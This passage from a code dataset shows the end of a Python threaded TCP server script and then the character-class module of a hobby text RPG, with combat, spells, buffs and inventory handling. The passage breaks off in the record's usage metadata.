no_of_socket_threads, server_address, ThreadedTCPRequestHandler):\n        self.numThreads = no_of_socket_threads\n        super().__init__(server_address, ThreadedTCPRequestHandler)\n\ndef create_multi_threaded_socket(CONFIG, HandlerClass = ThreadedTCPRequestHandler,\n        ServerClass = ThreadedTCPServer, \n        protocol=\"HTTP/1.0\"):\n\n    \n    server_address = ('', CONFIG['port'])\n    HandlerClass.protocol_version = protocol\n    server = ThreadedTCPServer(CONFIG['no_of_socket_threads'], server_address, ThreadedTCPRequestHandler)\n    sa = server.socket.getsockname()\n    print(\"Serving HTTP on {} port : {}\".format(sa[0], sa[1]))\n    server.serve_forever()\n\n\ndef main():\n    global CONFIG\n    CONFIG = { \"port\" : 10001, \"no_of_socket_threads\" : 5 }\n    create_multi_threaded_socket(CONFIG)\n\nif __name__ == '__main__':\n    main()\n\n\n\n", "repo_name": "rushi47/Threaded_Socket_Server", "sub_path": "Threaded_TCP_Server.py", "file_name": "Threaded_TCP_Server.py", "file_ext": "py", "file_size_in_byte": 4228, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "threading.Event", "line_number": 14, "usage_type": "call"}, {"api_name": "socketserver.BaseRequestHandler", "line_number": 18, "usage_type": "attribute"}, {"api_name": "socketserver.BaseRequestHandler.__init__", "line_number": 21, "usage_type": "call"}, {"api_name": "socketserver.BaseRequestHandler", "line_number": 21, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 35, "usage_type": "call"}, {"api_name": "socketserver.ThreadingMixIn", "line_number": 44, "usage_type": "attribute"}, {"api_name": "socketserver.ThreadingMixIn", "line_number": 60, "usage_type": "attribute"}, {"api_name": "multiprocessing.Queue", "line_number": 71, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 73, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 96, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 99, "usage_type": "call"}, {"api_name": "socketserver.TCPServer", "line_number": 102, "usage_type": "attribute"}]}
{"seq_id": "21941032778", "text": "import intro\nimport itemGen\nfrom msvcrt import getch, kbhit\nfrom time import sleep\nfrom random import randint\n\nprofList = [\"Warrior\", \"Mage\", \"Thief\", \"Innkeeper\", \"Baker\", \"Fisherman\", \"Doctor\"]\n\n\nclass Character(object):\n    totalChars = 0\n\n    # Static method to keep track of total number of characters.\n    @staticmethod\n    def totalCount():\n        return Character.totalChars\n\n    def __init__(self, name, hp, mp, prof):\n        self.__name = name\n        self.__hp = hp\n        self.__mp = mp\n        self.__profession = prof\n        Character.totalChars += 1\n\n    # toString\n    def __str__(self):\n        result = \"\"\n        result += \"{}\\n\".format(self.__name)\n        result += \"HP: {}\\n\".format(str(self.__hp))\n        result += \"MP: {}\\n\".format(str(self.__mp))\n        return result\n\n    def getName(self):\n        return self.__name\n\n    def getHP(self):\n        return self.__hp\n\n    def getMP(self):\n        return self.__mp\n\n    def getProf(self):\n        return self.__profession\n\n    def setName(self, newName):\n        # Input validation: 1-15 characters.\n        if 0 < len(newName) < 15:\n            self.__name = newName\n        else:\n            print(\"Try again, names must be between 1 - 15 characters.\")\n\n    def setProf(self, newProf):\n        if newProf in profList[:3]:\n            self.__profession = newProf\n        else:\n            print(\"Invalid profession.\")\n\n    def setHP(self, newHP):\n        from time import sleep\n\n        # Input validation: health above 0.\n        if newHP > 0:\n            self.__hp = newHP\n            if isinstance(self, Player) and newHP > self.getMaxHP():\n                self.__hp = self.getMaxHP()\n        elif newHP <= 0:\n            self.__hp = newHP\n            if self.getProf() == \"Monster\":\n                intro.slow_type([\"\\n\\tThe \" + self.__name.lower() + \" has died.\\n\"])\n            else:\n                intro.slow_type([\"\\n\\t\" + self.__name + \" has died.\\n\"])\n            sleep(.5)\n\n            if isinstance(self, Player):\n                sleep(1)\n                Player.callDeath()\n\n    def setMP(self, newMP):\n        self.__mp = newMP\n        if isinstance(self, Player) and self.getMP() > self.getMaxMP():\n            self.__mp = self.getMaxMP()\n\n\nclass Player(Character):\n\n    # Constructor\n    def __init__(self, name, hp, mp, prof, xMap=18, yMap=13, location=0):\n        super().__init__(name, hp, mp, prof)\n        self.__xMap = xMap\n        self.__yMap = yMap\n        self.__location = location\n        self.__maxHP = self.getHP()\n        self.__maxMP = self.getMP()\n        self.__inv = []\n        self.armor = []\n        self.dodgeChance = 0\n        self.didBattle = False\n        self.__didAction = False\n        self.__stopCombat = False\n        self.__keyCount = 0\n        self.__buffs = {}\n        self.__level = 1\n        self.__exp = 0\n        self.__expRequired = 100\n        Character.totalChars += 1\n\n    def __str__(self):\n        result = \"\"\n        result += \"{} the {}\\n\".format(self.__name, self.__profession)\n        result += \"HP: {}\\n\".format(str(self.__hp))\n        result += \"MP: {}\\n\".format(str(self.__mp))\n        return result\n\n    @staticmethod\n    def callDeath():\n        from os import system\n        from pygame import mixer\n        mixer.music.fadeout(5000)\n        sleep(2)\n        system('cls')\n        intro.slow_type([\"\\n\\n\\tThanks for playing!\",\n                         \"\\n\", \"\\tPlay again?:\"])\n        ans = input(\"\\t >> \")\n        if \"y\" in ans:\n            from TextRPG import main\n            main()\n        else:\n            quit()\n\n    # Getters\n    def getLevel(self):\n        return self.__level\n\n    def getMaxHP(self):\n        return self.__maxHP\n\n    def getMaxMP(self):\n        return self.__maxMP\n\n    def getX(self):\n        return self.__xMap\n\n    def getY(self):\n        return self.__yMap\n\n    def getLoc(self):\n        return self.__location\n\n    def getInv(self):\n        return self.__inv\n\n    def getKeys(self):\n        return self.__keyCount\n\n    def getExp(self):\n        return self.__exp\n\n    def getExpReq(self):\n        return self.__expRequired\n\n    def getArmor(self):\n        return self.armor[0].getDam()\n\n    def actionCheck(self):\n        return self.__didAction\n\n    def isCombatStopped(self):\n        return self.__stopCombat\n\n    # Setters\n    def setMaxHP(self, newMax):\n        self.__maxHP = newMax\n\n    def didAction(self, action):\n        self.__didAction = action\n\n    def stopCombat(self):\n        self.__stopCombat = True\n\n    def resetCombat(self):\n        self.__stopCombat = False\n\n    def addKey(self):\n        self.__keyCount += 1\n\n    def removeKey(self):\n        self.__keyCount -= 1\n\n    def setLoc(self, newLoc):\n        self.__location = newLoc\n\n    def setX(self, newX):\n        self.__xMap = newX\n\n    def setY(self, newY):\n        self.__yMap = newY\n\n    def addItem(self, item):\n        if \"Potion\" in item.getName():\n            self.__inv.append(item)\n        else:\n            self.__inv.insert(1, item)\n\n    def addBuff(self, buff, length):\n        self.__buffs[buff] = length\n\n    def getBuffs(self):\n        return self.__buffs\n\n    def clearBuffs(self):\n        self.__buffs.clear()\n\n    def removeBuff(self, buff):\n        del self.__buffs[buff]\n\n    def buffDown(self):\n        if len(self.__buffs) > 0:\n            for buffLength in self.__buffs.values():\n                buffLength -= 1\n\n            for i in self.__buffs:\n                if self.__buffs[i] == 0:\n                    self.__buffs.pop(i)\n                    if i == \"Shadow\":\n                        if self.getLevel() == 5:\n                            self.dodgeChance = 30\n                        else:\n                            self.dodgeChance = 15\n\n    def levelUp(self):\n        self.__level += 1\n        intro.slow_type([\"You leveled up! You are now Level {}!\".format(self.getLevel()),\n                         \"\\nYou regained half your missing HP & MP!\"])\n        if self.getLevel() == 5:\n            intro.slow_type([\"You've reached the maximum level of 5, your passive trait has doubled.\"])\n            self.dodgeChance = 30\n        self.__maxHP += 20\n        self.__maxMP += 10\n        self.setHP(self.getHP() + ((self.__maxHP - self.getHP()) // 2))\n        self.setMP(self.getMP() + ((self.__maxMP - self.getMP()) // 2))\n        sleep(.5)\n\n    def addExp(self, target):\n        if self.getLevel() < 5:\n            intro.slow_type([\"You gained {} experience.\".format(target.expValue)])\n            sleep(.5)\n            self.__exp += target.expValue\n            if self.__exp >= self.__expRequired:\n                self.levelUp()\n                overflow = self.__exp - self.__expRequired\n                self.__expRequired += 50\n                self.__exp = overflow\n\n    def castSpell(self, E):\n        importName, importDesc = getSpellData(\"spellData.txt\")\n        spellNames = []\n        spellDescs = []\n\n        if self.getProf() == \"Warrior\":\n            spellNames = importName[0:4]\n            spellDescs = importDesc[0:4]\n        elif self.getProf() == \"Mage\":\n            if self.getLevel() > 1:\n                spellNames = importName[4:7]\n                spellDescs = importDesc[4:7]\n            spellNames.insert(0, importName[0])\n            spellDescs.insert(0, importDesc[0])\n        else:\n            if self.getLevel() > 1:\n                spellNames = importName[7:]\n                spellDescs = importDesc[7:]\n            spellNames.insert(0, importName[0])\n            spellDescs.insert(0, importDesc[0])\n\n        spellNames = spellNames[:self.getLevel()]\n        spellDescs = spellDescs[:self.getLevel()]\n\n        print(\"\\nSpells:\")\n        for spell in range(len(spellNames)):\n            print(\"\\t{}) {}   {}\".format(spell + 1, spellNames[spell], spellDescs[spell]))\n        print(\"\\n0) Return to previous menu\")\n\n        # Practicing some list comprehension\n        # This little guy cut down on a TON of lines!\n        cond = [\" the\" if E.getProf() == \"Monster\" else \"\"]\n        name = [E.getName().lower() if E.getProf() == \"Monster\" else E.getName().title()]\n\n        finished = False\n        while not finished:\n            try:\n                # Flush input\n                while kbhit():\n                    getch()\n\n                ans = getch().decode()\n                ans = int(ans)\n\n                # ans = int(input(\">> \"))\n\n                while ans > len(spellNames):\n                    ans = int(getch().decode())\n\n                if ans == 0:\n                    return False\n                elif ans == 1:\n                    if self.getMP() >= 10:\n                        healAmount = randint(10, 20)\n                        self.setMP(self.getMP() - 10)\n                        intro.slow_type([\"\\n\\tA restorative mist begins to rise around you...\",\n                                         \"\\n\\tYou cast a healing spell, restoring {} health.\".format(str(healAmount))])\n                        self.setHP(self.getHP() + healAmount)\n                        sleep(.5)\n                        self.didAction(True)\n                    else:\n                        print(\"Not enough mana!\")\n                        sleep(1)\n                elif ans == 2:\n                    if self.getMP() >= 15:\n                        damage = randint(20, 30)\n                        self.setMP(self.getMP() - 15)\n\n                        if self.getProf() == \"Warrior\":\n                            intro.slow_type([\"\\n\\tYou wind up an attack, preparing to cut deep into your enemy...\",\n                                             \"\\n\\tYou strike{} {} with expert precision, doing {} damage!\"\n                                             .format(cond[0], name[0], str(damage))])\n                            E.setHP(E.getHP() - damage)\n                            self.addBuff(\"Bleed\", 2)\n\n                        elif self.getProf() == \"Mage\":\n                            intro.slow_type([\"\\n\\tFire swirls amongst your fingertips as you begin to concentrate...\",\n                                             \"\\n\\tYou cast a fireball at{} {}, doing {} damage!\"\n                                             .format(cond[0], name[0], str(damage))])\n                            E.setHP(E.getHP() - damage)\n                            self.addBuff(\"Burn\", 2)\n\n                        elif self.getProf() == \"Thief\":\n                            intro.slow_type([\"\\n\\tYou begin to sink into the shadows surrounding you...\",\n                                             \"\\n\\tYou appear behind{} {} and strike, doing {} damage!\"\n                                             .format(cond[0], name[0], round(self.getDamage() * 1.5))])\n                            E.setHP(E.getHP() - round(self.getDamage() * 1.5))\n\n                        sleep(.5)\n                        self.didAction(True)\n                    else:\n                        print(\"Not enough mana!\")\n                        sleep(1)\n                elif ans == 3:\n                    if self.getMP() >= 20:\n                        self.setMP(self.getMP() - 20)\n\n                        if self.getProf() == \"Warrior\":\n                            intro.slow_type([\"\\n\\tReflecting on your years of battle, your posture stiffens.\",\n                                             \"\\n\\tYou brace yourself for incoming attacks.\"])\n                            self.addBuff(\"Brace\", 3)\n\n                        elif self.getProf() == \"Mage\":\n                            damage = randint(15, 25)\n                            intro.slow_type([\"\\n\\tThe cold vapor in the air around you begins to crystallize...\",\n                                             \"\\n\\tIce materializes around you, barraging{} {} for {} damage.\"\n                                            .format(cond[0], name[0], damage)])\n                            E.setHP(E.getHP() - damage)\n                            self.addBuff(\"Freeze\", 2)\n\n                        elif self.getProf() == \"Thief\":\n                            intro.slow_type([\"\\n\\tThe lines between your body and the light begin to fade...\",\n                                             \"\\n\\tYou become seemingly invisible amongst the darkness.\"])\n                            self.addBuff(\"Shadow\", 3)\n\n                        sleep(.5)\n                        self.didAction(True)\n                    else:\n                        print(\"Not enough mana!\")\n                        sleep(1)\n                elif ans == 4:\n                    if self.getMP() >= 25:\n                        self.setMP(self.getMP() - 25)\n\n                        if self.getProf() == \"Warrior\":\n                            intro.slow_type([\"\\n\\tYour experience tells you that{} {} will soon expose itself.\".format(cond[0], name[0]),\n                                             \"\\n\\tYou assume a defensive stance, preparing to counterattack.\"])\n                            self.addBuff(\"Counter\", 10)\n\n                        elif self.getProf() == \"Mage\":\n                            damage = randint(15, 25)\n                            intro.slow_type([\"\\n\\tYou conjure a slowly fading protective bubble around yourself...\",\n                                             \"\\n\\tIncoming damage is reduced for the next three turns.\"\n                                            .format(cond[0], name[0], damage)])\n                            E.setHP(E.getHP() - damage)\n                            self.addBuff(\"Bubble\", 4)\n\n                        elif self.getProf() == \"Thief\":\n                            intro.slow_type([\"\\n\\tYou coat your equipped weapon with a deadly poison...\",\n                                             \"\\n\\tYour attacks become even more efficient and deadly.\"])\n                            self.addBuff(\"Poison\", 3)\n\n                        sleep(.5)\n                        self.didAction(True)\n                    else:\n                        print(\"Not enough mana!\")\n                        sleep(1)\n\n                finished = True\n            except ValueError:\n                print(\"Invalid input.\")\n\n    def checkInv(self):\n        print(\"\\n\\nSelect a weapon to use/equip:\\n\\n\\tCurrently equipped weapon:\")\n        print(\"\\n\\t\\t\" + str(self.__inv[0]) + \"\\n\")\n        if len(self.armor) > 0:\n            print(\"\\tCurrently equipped shield:\")\n            print(\"\\n\\t\\t\" + str(self.armor[0]) + \"\\n\")\n        for i in range(len(self.__inv[1:])):\n            print(\"\\t{}) {}\".format(i + 1, self.__inv[i + 1]))\n        print(\"\\nD: Discard Item\\nU: Unequip Offhand\\n0) Return to previous menu\")\n\n        finished = False\n        while not finished:\n            try:\n                # ans = input(\"\\t >> \")\n                ans = getch().decode()\n\n                if ans in \"du0123456789\":\n                    if ans == \"0\":\n                        break\n\n                    elif ans == \"d\":\n                        intro.slow_type([\"\\t\\tPress number of the item to discard.\"])\n                        print(\"\\t  (This cannot be undone, 0 to return to previous menu.)\")\n                        tempAns = getch().decode()\n                        if int(tempAns) != 0 and int(tempAns) <= len(self.__inv):\n                            self.__inv.pop(int(tempAns))\n\n                    elif ans == \"u\":\n                        if len(self.__inv) <= 8:\n                            self.addItem(self.armor.pop(0))\n\n                    elif \"Potion\" in self.__inv[int(ans)].getName():\n                        self.__inv[int(ans)].usePotion(self)\n                        temp = [\"HP\" if \"Health\" in self.__inv[int(ans)].getName() else \"MP\"]\n                        intro.slow_type([\"\\tYou drank a {}, restoring {} {}.\".format(\n                            self.__inv[int(ans)].getName().lower(), self.__inv[int(ans)].getPower(), temp[0])])\n                        self.__inv.pop(int(ans))\n                        sleep(.5)\n                        self.didAction(True)\n\n                    elif \"Great\" in self.__inv[int(ans)].getName() and len(self.armor) > 0:\n                        if len(self.__inv) <= 8:\n                            # Add the armor and current weapon at the beginning of the list to the end,\n                            self.__inv.append(self.armor.pop(0))\n                            self.__inv.append(self.__inv.pop(0))\n                            # Add the chosen weapon to the front (-1 because [0] moved right, shifting list left)\n                            self.__inv.insert(0, self.__inv.pop(int(ans) - 1))\n                        else:\n                            intro.slow_type([\"Too many items in inventory!\"])\n                            sleep(1)\n\n                    elif \"Shield\" in self.__inv[int(ans)].getName():\n                        if \"Great\" in self.__inv[0].getName():\n                            intro.slow_type([\"Please equip a 1 handed weapon first.\"])\n                            sleep(1)\n                        else:\n                            self.addArmor(self.__inv[int(ans)])\n                            self.__inv.pop(int(ans))\n\n                    else:\n                        self.__inv.insert(0, self.__inv.pop(int(ans)))\n\n                    self.didAction(True)\n\n                    finished = True\n            except ValueError:\n                print(\"Invalid input.\")\n\n    def addArmor(self, armor):\n        if len(self.armor) == 0:\n            self.armor.append(armor)\n        else:\n            self.__inv.insert(1, self.__inv.pop(self.armor[0]))\n            self.armor.append(armor)\n\n    def getDamage(self):\n        if self.getProf() == \"Warrior\" and self.getLevel() < 5:\n            return self.__inv[0].getDam() + 5\n        elif self.getProf() == \"Warrior\" and self.getLevel() == 5:\n            return self.__inv[0].getDam() + 10\n        else:\n            return self.__inv[0].getDam()\n\n    def attack(self, target):\n        if isinstance(self.__inv[0], itemGen.Weapon):\n            cond = [\" the\" if target.getProf() == \"Monster\" else \"\"]\n            name = [target.getName().lower() if target.getProf() == \"Monster\" else target.getName()]\n\n            intro.slow_type([\"\\n\\tYou attack{} {} for {} damage!\".format(cond[0], name[0], self.getDamage())])\n            target.setHP(target.getHP() - self.getDamage())\n            self.__inv[0].setDur(self.__inv[0].getDur() - 1)\n            self.didAction(True)\n            sleep(.5)\n        else:\n            intro.slow_type([\"You try to attack, but don't have a weapon equipped!\"])\n            sleep(1)\n\n    def checkBuff(self, E):\n        buff = \"\"\n        damage = 0\n\n        cond = [\"The \" if E.getProf() == \"Monster\" else \"\"]\n        name = [E.getName().lower() if E.getProf() == \"Monster\" else E.getName()]\n\n        if \"Bleed\" in self.getBuffs():\n            damage = randint(4, 12)\n            buff += \"\\n\\t{}{} bleeds for an additional {} damage.\".format(cond[0], name[0], damage)\n        if \"Burn\" in self.getBuffs():\n            damage = randint(6, 12)\n            buff += \"\\n\\t{}{} burns for an additional {} damage.\".format(cond[0], name[0], damage)\n        if \"Poison\" in self.getBuffs():\n            damage = randint(10, 15)\n            buff += \"\\n\\t{}{} suffers an additional {} poison damage.\".format(cond[0], name[0], damage)\n        if \"Shadow\" in self.getBuffs():\n                if self.dodgeChance == 15 or self.dodgeChance == 30:\n                    self.dodgeChance += 35\n                buff += \"\\n\\tYour chance to dodge is increased.\"\n        if \"Bubble\" in self.getBuffs():\n            if self.getBuffs()[\"Bubble\"] == 4:\n                buff += \"\\n\\tYour protective bubble is at full strength\"\n            elif 2 <= self.getBuffs()[\"Bubble\"] >= 3:\n                buff += \"\\n\\tYour protective bubble fades slightly.\"\n            elif self.getBuffs()[\"Bubble\"] == 1:\n                buff += \"\\n\\tYour protective bubble fades completely.\"\n        if \"Brace\" in self.getBuffs():\n            if self.getBuffs()[\"Brace\"] > 1:\n                buff += \"\\n\\tYour defenses are increased.\"\n            elif self.getBuffs()[\"Brace\"] == 1:\n                buff += \"\\n\\tYour defense boost fades.\"\n\n        if buff:\n            intro.slow_type([buff])\n\n        if damage:\n            E.setHP(E.getHP() - damage)\n\n\nclass Enemy(Character):\n    # Constructor\n    def __init__(self, name, hp, mp, exp, prof=\"Monster\"):\n        super().__init__(name, hp, mp, prof)\n        self.__buffCount = 0\n        self.__maxHP = self.getHP()\n        self.expValue = exp\n        Character.totalChars += 1\n\n    def attack(self, target):\n        damage = self.getDamage()\n\n        if \"Brace\" in target.getBuffs() and \"Counter\" not in target.getBuffs():\n            damage = round(damage * .8)\n\n        if \"Bubble\" in target.getBuffs():\n            if target.getBuffs()[\"Bubble\"] == 3:\n                damage -= 15\n            elif target.getBuffs()[\"Bubble\"] == 2:\n                damage -= 10\n            elif target.getBuffs()[\"Bubble\"] == 1:\n                damage -= 5\n\n        # If the player is a thief, check to see if they dodge, then calculate damage\n        if target.getProf() == \"Thief\" and randint(1, 100) <= target.dodgeChance:\n            intro.slow_type([\"\\n\\tYou dodged the incoming attack from the {}!\".format(self.getName().lower())])\n        else:\n            # If the player has a shield equipped, reduce damage taken and damage shield\n            if \"Counter\" in target.getBuffs():\n                intro.slow_type([\"\\n\\tThe {} attacks you for {} damage!\".format(self.getName().lower(), damage),\n                                 \"\\n\\tYou counter the attack, and reflect the {} damage back!\".format(damage)])\n                self.setHP(self.getHP() - damage)\n                target.removeBuff(\"Counter\")\n            elif len(target.armor) > 0:\n                damage -= (target.getArmor() // 2)\n                intro.slow_type([\"\\n\\tThe {} attacks you for {} damage!\".format(self.getName().lower(), damage)])\n                if damage < 0:\n                    damage = 0\n                target.setHP(target.getHP() - damage)\n                target.armor[0].setDur(target.armor[0].getDur() - 1)\n            else:\n                intro.slow_type([\"\\n\\tThe {} attacks you for {} damage!\".format(self.getName().lower(), damage)])\n                target.setHP(target.getHP() - damage)\n\n        if \"Brace\" in target.getBuffs() and \"Counter\" not in target.getBuffs():\n            reflect = round(damage * .2)\n            intro.slow_type([\"{} damage is reflected back to the {}!\".format(reflect, self.getName().lower())])\n            self.setHP(self.getHP() - reflect)\n\n    def maxHP(self):\n        return self.__maxHP\n\n    def getDamage(self,):\n        if self.getName() == \"Zombie\":\n            return randint(5, 15)\n        elif self.getName() == \"Skeleton\":\n            return randint(1, 10)\n        else:\n            return randint(15, 25)\n\n    def selfHeal(self):\n        if self.getName() == \"Skeleton\":\n            healAmount = randint(5, 10)\n            intro.slow_type([\"\\n\\tThe skeleton reaches down and grabs a bone off the floor...\",\n                             \"\\n\\tAttaching a piece of itself back on, it regains {} health!\".format(str(healAmount))])\n            self.setHP(self.getHP() + healAmount)\n        elif self.getName() == \"Zombie\":\n            healAmount = randint(10, 15)\n            intro.slow_type([\"\\n\\tThe zombie grabs a NeuroShake\\u2122 and takes a huge slurp...\",\n                             \"\\n\\tEnergized with fresh brain matter, it regains {} health!\".format(str(healAmount))])\n            self.setHP(self.getHP() + healAmount)\n        elif self.getName() == \"Ogre\":\n            healAmount = randint(15, 20)\n            intro.slow_type([\"\\n\\tThe ogre pulls out a vial of human blood from it's belt loop...\",\n                             \"\\n\\tGuzzling down the ichor, it regains {} health!\".format(str(healAmount))])\n            self.setHP(self.getHP() + healAmount)\n\n\nclass Boss(Character):\n    # Constructor\n    def __init__(self, name, hp, mp, exp, prof):\n        super().__init__(name, hp, mp, prof)\n        self.expValue = exp\n        self.__buffCount = 0\n        Character.totalChars += 1\n\n    def attack(self, target, damage):\n        moveChoice = randint(1, 2)\n\n        if self.__buffCount > 0:\n            damage += 5\n        elif self.__buffCount < 0:\n            self.__buffCount = 0\n\n        if \"Brace\" in target.getBuffs() and \"Counter\" not in target.getBuffs():\n            damage = round(damage * .8)\n\n        if \"Bubble\" in target.getBuffs():\n            if target.getBuffs()[\"Bubble\"] == 3:\n                damage -= 15\n            elif target.getBuffs()[\"Bubble\"] == 2:\n                damage -= 10\n            elif target.getBuffs()[\"Bubble\"] == 1:\n                damage -= 5\n\n        if moveChoice == 1 and self.getMP() >= 10:\n            self.castSpell(target)\n        else:\n            if target.getProf() == \"Thief\" and randint(1, 100) <= target.dodgeChance:\n                intro.slow_type([\"\\n\\tYou dodged the incoming attack from {}!\".format(self.getName())])\n            else:\n                if \"Counter\" in target.getBuffs():\n                    intro.slow_type([\"\\n\\t{} attacks you for {} damage!\".format(self.getName(), damage),\n                                     \"\\n\\tYou counter the attack, and reflect the {} damage back!\".format(damage)])\n                    self.setHP(self.getHP() - damage)\n                    target.removeBuff(\"Counter\")\n                elif len(target.armor) > 0:\n                    damage -= (target.getArmor() // 2)\n                    intro.slow_type([\"\\n\\t{} attacks you for {} damage!\".format(self.getName(), damage)])\n                    if damage < 0:\n                        damage = 0\n                    target.setHP(target.getHP() - damage)\n                    target.armor[0].setDur(target.armor[0].getDur() - 1)\n                else:\n                    intro.slow_type([\"\\n\\t{} attacks you for {} damage!\".format(self.getName(), damage)])\n                    target.setHP(target.getHP() - damage)\n\n                if \"Brace\" in target.getBuffs() and \"Counter\" not in target.getBuffs():\n                    reflect = round(damage * .2)\n                    intro.slow_type([\"{} damage is reflected back to {}!\".format(reflect, self.getName())])\n                    self.setHP(self.getHP() - reflect)\n\n            self.__buffCount -= 1\n\n        sleep(.5)\n\n    def getDamage(self):\n        if self.getProf() == \"Guardian\":\n            return randint(25, 40)\n        elif self.getProf() == \"Soulkeeper\":\n            return randint(30, 45)\n\n    def castSpell(self, E):\n        from random import choice\n\n        if self.getProf() == \"Guardian\":\n            spellList = [\"holy bolt\",\n                         \"empower\",\n                         \"ethereal blade\"]\n\n        else:\n            spellList = [\"demonic spear\",\n                         \"leech\",\n                         \"dark vortex\"]\n\n        if self.getMP() >= 20:\n            moveChoice = randint(1, 15)\n        elif self.getMP() >= 15:\n            moveChoice = randint(1, 10)\n        elif self.getMP() >= 10:\n            moveChoice = randint(1, 5)\n        else:\n            moveChoice = 0\n\n        hit = choice([\"hitting\", \"grazing\", \"clipping\", \"injuring\"])\n        side = choice([\"left\", \"right\"])\n        limb = choice([\"arm\", \"leg\"])\n\n        if moveChoice <= 5:\n            if self.getProf() == \"Guardian\":\n                damage = randint(30, 40)\n                intro.slow_type(\n                    [\"\\n\\t{} casts a {} at you, {} your {} {}.\".format(self.getName(), spellList[0], hit, side, limb),\n                     \"\\n\\tYou take {} damage from the spell.\".format(damage)])\n                E.setHP(E.getHP() - damage)\n            else:\n                damage = randint(35, 45)\n                intro.slow_type(\n                    [\"\\n\\t{} summons a {} and hurls it at you, {} your {} {}.\".format(self.getName(), spellList[0],\n                                                                                      hit, side, limb),\n                     \"\\n\\tYou take {} damage from the pike.\".format(damage)])\n                E.setHP(E.getHP() - damage)\n            sleep(.5)\n            self.setMP(self.getMP() - 15)\n        elif 5 < moveChoice <= 10:\n            if self.getProf() == \"Guardian\":\n                intro.slow_type([\n                    \"\\n\\t{} casts {} on his weapon, increasing the damage of it's next attack.\".format(self.getName(),\n                                                                                                       spellList[1])])\n                self.__buffCount += 1\n            else:\n                damage = randint(15, 25)\n                intro.slow_type(\n                    [\"\\n\\n\\t{} casts {} on you, siphoning {} health from you.\".format(self.getName(), spellList[1],\n                                                                                      damage)])\n                E.setHP(E.getHP() - damage)\n                self.setHP(self.getHP() + damage)\n            sleep(.5)\n            self.setMP(self.getMP() - 15)\n        elif 10 < moveChoice <= 15:\n            if self.getProf() == \"Guardian\":\n                damage = randint(35, 45)\n                intro.slow_type(\n                    [\"\\n\\n\\t{} summons an {} from the void, it pierces your {} {} with ease.\".format(\n                        self.getName(), spellList[2], side, limb),\n                        \"\\n\\tYou take {} damage from the wound.\".format(damage)])\n                E.setHP(E.getHP() - damage)\n            else:\n                damage = randint(40, 50)\n                intro.slow_type(\n                    [\"\\n\\n\\t{} summons a {} around you, you can feel your mind begin to wither.\".format(\n                        self.getName(), spellList[2]),\n                        \"\\n\\tYou take {} damage from the torment.\".format(damage)])\n                E.setHP(E.getHP() - damage)\n            sleep(.5)\n            self.setMP(self.getMP() - 20)\n\n\ndef make_player():\n    from os import system\n\n    defaultHP = 150\n    defaultMP = 50\n\n    finished = False\n\n    charName = \"\"\n    charProf = \"\"\n\n    while not finished:\n        print(\"\\n -== Enter your character's name: ==-\")\n        while charName == \"\":\n            charName = input(\"\\t >> \").title()\n        print(\"\\n -== Available Professions: ==-\\n\")\n        for i in profList[:3]:\n            print(\"\\t\" + i)\n            if i == \"Warrior\":\n                print(\"\\t >  With over a dozen battles conquered, warriors deal additional damage with attacks.\")\n                print(\"\\t\\t  (Gain an additional 5 base damage on top of weapon.)\")\n            elif i == \"Mage\":\n                print(\"\\t >  After many years of study, magi regenerate a small amount of mana during combat.\")\n                print(\"\\t\\t  (Regenerate 5 MP at the beginning of every turn.)\")\n            elif i == \"Thief\":\n                print(\"\\t >  Light on their feet, thieves have a small chance to avoid damage entirely.\")\n                print(\"\\t\\t  (Gain a 15% chance to dodge all attack damage.)\")\n        print(\"\\n -== Choose your profession: ==-\")\n        while charProf == \"\" or charProf not in profList[:3]:\n            charProf = input(\"\\t >> \").title()\n\n        intro.slow_type([\"\\n Thank you, {} the {}.\".format(charName, charProf)])\n        intro.slow_type([\"\\n\\n Continue with this setup? (yes/no)\"])\n        playerInput = input(\" >> \")\n        if \"y\" in playerInput.lower():\n            finished = True\n        else:\n            system('cls')\n            charName = \"\"\n            charProf = \"\"\n\n    return Player(charName, defaultHP, defaultMP, charProf)\n\n\ndef getSpellData(fileName, mode=\"r\"):\n    # open the file\n    try:\n        descriptions = []\n        theFile = open(fileName, mode)\n        # take first line split values on the ','\n        names = theFile.readline().strip().split(',')\n        # take rest of lines and make list with each description as a list item (trailing with '\\n')\n        badDesc = theFile.readlines()\n        # remove the '\\n'\n        for line in badDesc:\n            descriptions.append(line.strip())\n        # close the file\n        theFile.close()\n        return names, descriptions\n    except FileNotFoundError:\n        print(\"File not found. Program closing.\")\n        quit()\n", "repo_name": "mdverity/TextRPG", "sub_path": "characterClass.py", "file_name": "characterClass.py", "file_ext": "py", "file_size_in_byte": 32161, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "intro.slow_type", "line_number": 69, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 71, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 72, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 75, "usage_type": "call"}, {"api_name": "{'sleep': 'time.sleep'}.totalChars", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.fadeout", "line_number": 118, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 118, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 119, "usage_type": "call"}, {"api_name": "os.system", "line_number": 120, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 121, "usage_type": "call"}, {"api_name": "TextRPG.main", "line_number": 126, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 232, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 235, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 241, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 245, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 246, "usage_type": "call"}, {"api_name": "msvcrt.kbhit", "line_number": 292, "usage_type": "call"}, {"api_name": "msvcrt.getch", "line_number": 293, "usage_type": "call"}, {"api_name": "msvcrt.getch", "line_number": 295, "usage_type": "call"}, {"api_name": "msvcrt.getch", "line_number": 301, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 307, "usage_type": "call"}, {"api_name": "intro.slow_type", "line_number": 309, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 312, 